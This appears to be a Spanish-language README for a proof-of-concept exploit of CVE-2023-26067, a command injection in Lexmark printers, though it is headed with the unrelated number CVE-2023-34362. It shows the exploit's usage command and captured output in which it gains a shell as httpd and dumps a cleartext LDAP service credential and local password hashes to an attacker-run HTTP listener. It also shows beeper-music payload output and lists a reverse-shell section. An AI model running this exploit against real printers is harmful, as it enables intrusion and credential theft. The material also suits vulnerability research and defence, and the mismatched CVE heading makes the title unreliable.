CVE-2023-34362

POCs para volcado de credenciales, shells inversas y reproducción de música abusando de una inyección de comandos, CVE-2023-26067, que afecta a impresoras Lexmark.

Análisis Técnico

Un análisis técnico de la causa raíz de la vulnerabilidad se puede encontrar en nuestro blog: https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022

Resumen

Este POC abusa de una inyección de comandos para obtener un shell como el usuario httpd

Volcar Credenciales de Servicio de Active Directory en Texto Claro y Credenciales Locales

python3 CVE-2023-26067.py -u http://192.168.0.207 -l 192.168.0.69
[*] Sending wakeup 1
[*] Sending wakeup 2
[*] Checking if vulnerable page is accessible
[*] Vulnerable page accessible!
[*] Checking if vulnerable
[*] Sending payload to server...
[*] Listening for blind output on 0.0.0.0:443
[*] Sent payload
[+] id output: uid=985(httpd) gid=982(httpd) groups=982(httpd)
[*] Attempting to dump auth database
[*] Sending payload to server...
[*] Starting HTTP server on 8443
[*] Sent payload
[*] Waiting to pilfer database...
[+] LDAP Credentials:
svc_print:Sm0k3123!
[+] Local Credentials:
admin:$5$rounds=5287$6Y1cf0tBS3OwZuq8$pawzA66JhU/SfsSMRct99OFbaliCs.JiXuIPAYJTI/4
bob:$5$rounds=9194$bolamYfd6e11yH8H$d1XSMlK8c5UqfletJAPHvv8L1CHKBgBNufcCkWluX4C

python3 BitConductor.py -s mario Converting: mario ---------- rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 195 duration 180 offDuration 210 frequency 233 duration 180 offDuration 490 frequency 233 duration 180 offDuration 490 frequency 155 duration 180 offDuration 490 frequency 116 duration 180 offDuration 210 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210 frequency 116 duration 180 offDuration 140 ---------- rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 350 frequency 155 duration 180 offDuration 350 frequency 97 duration 180 offDuration 350 frequency 130 duration 180 offDuration 210 frequency 146 duration 180 offDuration 210 frequency 138 duration 180 offDuration 70 frequency 130 duration 180 offDuration 210 ---------- rob call applications.beeper customBeep "{({iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii}{iii})}" song frequency 116 duration 180 offDuration 140 frequency 195 duration 180 offDuration 70 frequency 233 duration 180 offDuration 140 frequency 261 duration 180 offDuration 210 frequency 207 duration 180 offDuration 70 frequency 233 duration 180 offDuration 210 frequency 195 duration 180 offDuration 210 frequency 155 duration 180 offDuration 70 frequency 174 duration 180 offDuration 70 frequency 146 duration 180 offDuration 0

CVE-2023-26067

Más Populares

Shell Inversa

Reproducir Música

Demo

Mitigaciones

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